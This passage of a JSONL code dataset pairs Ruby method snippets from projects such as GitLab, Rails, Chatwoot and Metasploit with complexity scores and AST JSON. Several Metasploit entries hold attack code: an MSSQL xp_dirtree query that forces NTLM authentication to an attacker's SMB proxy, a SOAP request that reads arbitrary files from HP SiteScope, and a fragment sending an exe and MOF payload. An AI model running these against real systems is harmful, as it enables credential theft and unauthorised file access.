bytes)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"put\",{\"type\":\"ivar\",\"children\":[\"@exe\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stage\",{\"type\":\"sym\",\"children\":[\"mof\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"mof\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending MOF (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mof\"]},\"length\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"put\",{\"type\":\"ivar\",\"children\":[\"@mof\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"close\"]}]}]}","id":"0786d24b-ccb5-4bce-82f0-ffbc5b499f50"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/policies/enterprise/article_policy.rb","start_line":26,"raw_source":"def reorder?\n    @account_user.custom_role&.permissions&.include?('knowledge_base_manage') || super\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reorder?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account_user\"]},\"custom_role\"]},\"permissions\"]},\"include?\",{\"type\":\"str\",\"children\":[\"knowledge_base_manage\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"152b6367-c17a-49ff-99c1-a8fb93ac10ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/badges/base_service.rb","start_line":9,"raw_source":"def initialize(params = {})\n      @params = params.dup\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"dup\"]}]}]}","id":"2a46c7e3-1321-42d8-88df-4bf15ab06a28"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":108,"raw_source":"def render(text, options = {}, &block)\n    options = use_test_tracing(options)\n    super\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"use_test_tracing\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"7cbd0605-2245-4f55-bb35-b03ad35ef1e4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb","start_line":50,"raw_source":"def run\n    # Reminder\n    print_status('DONT FORGET to run a SMB capture or relay module!')\n\n    # Generate random file name\n    rand_filename = Rex::Text.rand_text_alpha(8, '')\n\n    # Setup query - double escaping backslashes\n    sql = \"exec master..xp_dirtree '\\\\\\\\\\\\\\\\#{datastore['SMBPROXY']}\\\\#{rand_filename}'\"\n    print_status(\"Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}\")\n\n    # Execute query to force authentication from backend database to smbproxy\n    mssql_query(sql)\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"DONT FORGET to run a SMB capture or relay module!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rand_filename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"exec master..xp_dirtree '\\\\\\\\\\\\\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBPROXY\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_filename\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to force backend DB to authenticate to the \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBPROXY\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mssql_query\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}","id":"a925cc3f-72da-4820-afda-d65a7412e1a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":1099,"raw_source":"def self.filter_out_public_projects_with_unauthorized_private_repos(projects, user)\n    public_projects_with_private_repos = projects.with_project_feature.where(\n      visibility_level: Gitlab::VisibilityLevel::PUBLIC,\n      project_features: { repository_access_level: ProjectFeature::PRIVATE }\n    ).pluck(:id)\n\n    return projects unless public_projects_with_private_repos.present?\n\n    authorized_public_projects_with_private_repos = projects.filter_by_feature_visibility(\n      :repository, user\n    )\n\n    rejected_projects_with_private_repos = (\n      public_projects_with_private_repos - authorized_public_projects_with_private_repos.pluck(:id)\n    )\n\n    projects.where.not(id: rejected_projects_with_private_repos)\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"filter_out_public_projects_with_unauthorized_private_repos\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"projects\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"public_projects_with_private_repos\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"with_project_feature\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_level\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VisibilityLevel\"]},\"PUBLIC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_features\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository_access_level\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectFeature\"]},\"PRIVATE\"]}]}]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"public_projects_with_private_repos\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"authorized_public_projects_with_private_repos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"filter_by_feature_visibility\",{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rejected_projects_with_private_repos\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"public_projects_with_private_repos\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorized_public_projects_with_private_repos\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"rejected_projects_with_private_repos\"]}]}]}]}]}]}","id":"6b04c3ab-56d3-4478-a8cd-583057810bdf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/page_layout_helper.rb","start_line":99,"raw_source":"def sidebar(name = nil)\n    if name\n      @sidebar = name\n    else\n      @sidebar\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"sidebar\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"ivasgn\",\"children\":[\"@sidebar\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivar\",\"children\":[\"@sidebar\"]}]}]}","id":"206662f0-66fd-4e1e-af3e-6b576716e4a0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_handling.rb","start_line":388,"raw_source":"def resolve_config_for_connection(config_or_env)\n        raise \"Anonymous class is not allowed.\" unless name\n\n        connection_name = primary_class? ? Base.name : name\n        self.connection_specification_name = connection_name\n\n        Base.configurations.resolve(config_or_env)\n      end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_config_for_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config_or_env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Anonymous class is not allowed.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"connection_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primary_class?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base\"]},\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"connection_specification_name=\",{\"type\":\"lvar\",\"children\":[\"connection_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base\"]},\"configurations\"]},\"resolve\",{\"type\":\"lvar\",\"children\":[\"config_or_env\"]}]}]}]}","id":"ed3db44b-620b-4670-993a-6fe6e802da64"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb","start_line":74,"raw_source":"def timeout\n    (datastore['TIMEOUT'] || 1000) / 1000.0\n  end","complexity_score":5.63,"ast_json":"{\"type\":\"def\",\"children\":[\"timeout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]},{\"type\":\"int\",\"children\":[1000]}]}]},\"/\",{\"type\":\"float\",\"children\":[1000.0]}]}]}","id":"9be8e9dd-ae21-417f-bc3c-c778a2db368c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ms_dtyp.rb","start_line":894,"raw_source":"def define_field_accessors_for2(name)\n      define_singleton_method(\"#{name}?\") do\n        !send(name).nil?\n      end\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"define_field_accessors_for2\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"?\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"nil?\"]},\"!\"]}]}]}","id":"774daa7e-f2c6-47af-a2b2-d30e2b0e3978"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/slack/slack_message_helper.rb","start_line":84,"raw_source":"def sender\n    user_email = slack_client.users_info(user: params[:event][:user])[:user][:profile][:email]\n    conversation.account.users.from_email(user_email)\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sender\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_email\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slack_client\"]},\"users_info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"profile\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},\"account\"]},\"users\"]},\"from_email\",{\"type\":\"lvar\",\"children\":[\"user_email\"]}]}]}]}","id":"e9dc9350-3e05-46c6-be30-72af4dde7377"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/helpers/event_options.rb","start_line":27,"raw_source":"def events_by_filepath(event_paths = [])\n        events = cli.global.events.to_h { |event| [event.file_path, event] } # rubocop:disable Rails/IndexBy -- not rails\n\n        return events if event_paths.none?\n\n        events.slice(*event_paths)\n      end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"events_by_filepath\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"event_paths\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cli\"]},\"global\"]},\"events\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"file_path\"]},{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_paths\"]},\"none?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_paths\"]}]}]}]}]}","id":"ff755ae8-794d-4bcb-bfb4-731ebf1a0599"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/totaljs_cms_widget_exec.rb","start_line":64,"raw_source":"def initialize(cookie)\n      @token = cookie.scan(/__admin=([a-zA-Z\\d]+);/).flatten.first\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"__admin=([a-zA-Z\\\\d]+);\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]}]}","id":"1d34c633-46d0-483d-af6c-218d2f05a8e4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/application_settings/update_service.rb","start_line":132,"raw_source":"def auto_approve_blocked_users\n      return unless auto_approve_pending_users?\n      return unless should_auto_approve_blocked_users?\n\n      ApproveBlockedPendingApprovalUsersWorker.perform_async(current_user.id)\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"auto_approve_blocked_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auto_approve_pending_users?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_auto_approve_blocked_users?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApproveBlockedPendingApprovalUsersWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]}","id":"7546718d-4e7a-4318-ac22-7a4e5cfa2f01"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb","start_line":65,"raw_source":"def accessfile\n    data = \"<?xml version='1.0' encoding='UTF-8'?>\" + \"\\r\\n\"\n    data << \"<wsns0:Envelope\" + \"\\r\\n\"\n    data << \"xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'\" + \"\\r\\n\"\n    data << \"xmlns:xsd='http://www.w3.org/2001/XMLSchema'\" + \"\\r\\n\"\n    data << \"xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\" + \"\\r\\n\"\n    data << \">\" + \"\\r\\n\"\n    data << \"<wsns0:Body\" + \"\\r\\n\"\n    data << \"wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'\" + \"\\r\\n\"\n    data << \">\" + \"\\r\\n\"\n    data << \"<impl:loadFileContent\" + \"\\r\\n\"\n    data << \"xmlns:impl='http://Api.freshtech.COM'\" + \"\\r\\n\"\n    data << \">\" + \"\\r\\n\"\n    data << \"<in0\" + \"\\r\\n\"\n    data << \"xsi:type='xsd:string'\" + \"\\r\\n\"\n    data << \"xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\" + \"\\r\\n\"\n    data << \">#{datastore['RFILE']}</in0>\" + \"\\r\\n\"\n    data << \"</impl:loadFileContent>\" + \"\\r\\n\"\n    data << \"</wsns0:Body>\" + \"\\r\\n\"\n    data << \"</wsns0:Envelope>\" + \"\\r\\n\"\n\n    print_status(\"Retrieving the file contents\")\n\n    uri = normalize_uri(@uri, 'services/APIMonitorImpl')\n\n    res = send_request_cgi({\n      'uri' => uri,\n      'method' => 'POST',\n      'ctype' => 'text/xml; charset=UTF-8',\n      'data' => data,\n      'headers' => {\n        'SOAPAction' => '\"\"',\n      }\n    })\n\n    if res and res.code == 200 and res.body =~ /<loadFileContentReturn xsi:type=\"xsd:string\">(.*)<\\/loadFileContentReturn>/m\n      loot = CGI.unescapeHTML($1)\n      if not loot or loot.empty?\n        print_status(\"Retrieved empty file\")\n        return\n      end\n      f = ::File.basename(datastore['RFILE'])\n      path = store_loot('hp.sitescope.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])\n      print_good(\"#{datastore['RFILE']} saved in #{path}\")\n      return\n    end\n\n    print_error(\"Failed to retrieve the file\")\n  end","complexity_score":83.05,"ast_json":"{\"type\":\"def\",\"children\":[\"accessfile\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<?xml version='1.0' encoding='UTF-8'?>\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<wsns0:Envelope\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"xmlns:xsd='http://www.w3.org/2001/XMLSchema'\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\">\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<wsns0:Body\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\">\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<impl:loadFileContent\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"xmlns:impl='http://Api.freshtech.COM'\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\">\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<in0\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"xsi:type='xsd:string'\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RFILE\"]}]}]},{\"type\":\"str\",\"children\":[\"</in0>\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"</impl:loadFileContent>\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"</wsns0:Body>\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"</wsns0:Envelope>\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Retrieving the file contents\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"ivar\",\"children\":[\"@uri\"]},{\"type\":\"str\",\"children\":[\"services/APIMonitorImpl\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/xml; charset=UTF-8\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SOAPAction\"]},{\"type\":\"str\",\"children\":[\"\\\"\\\"\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<loadFileContentReturn xsi:type=\\\"xsd:string\\\">(.*)</loadFileContentReturn>\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loot\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescapeHTML\",{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Retrieved empty 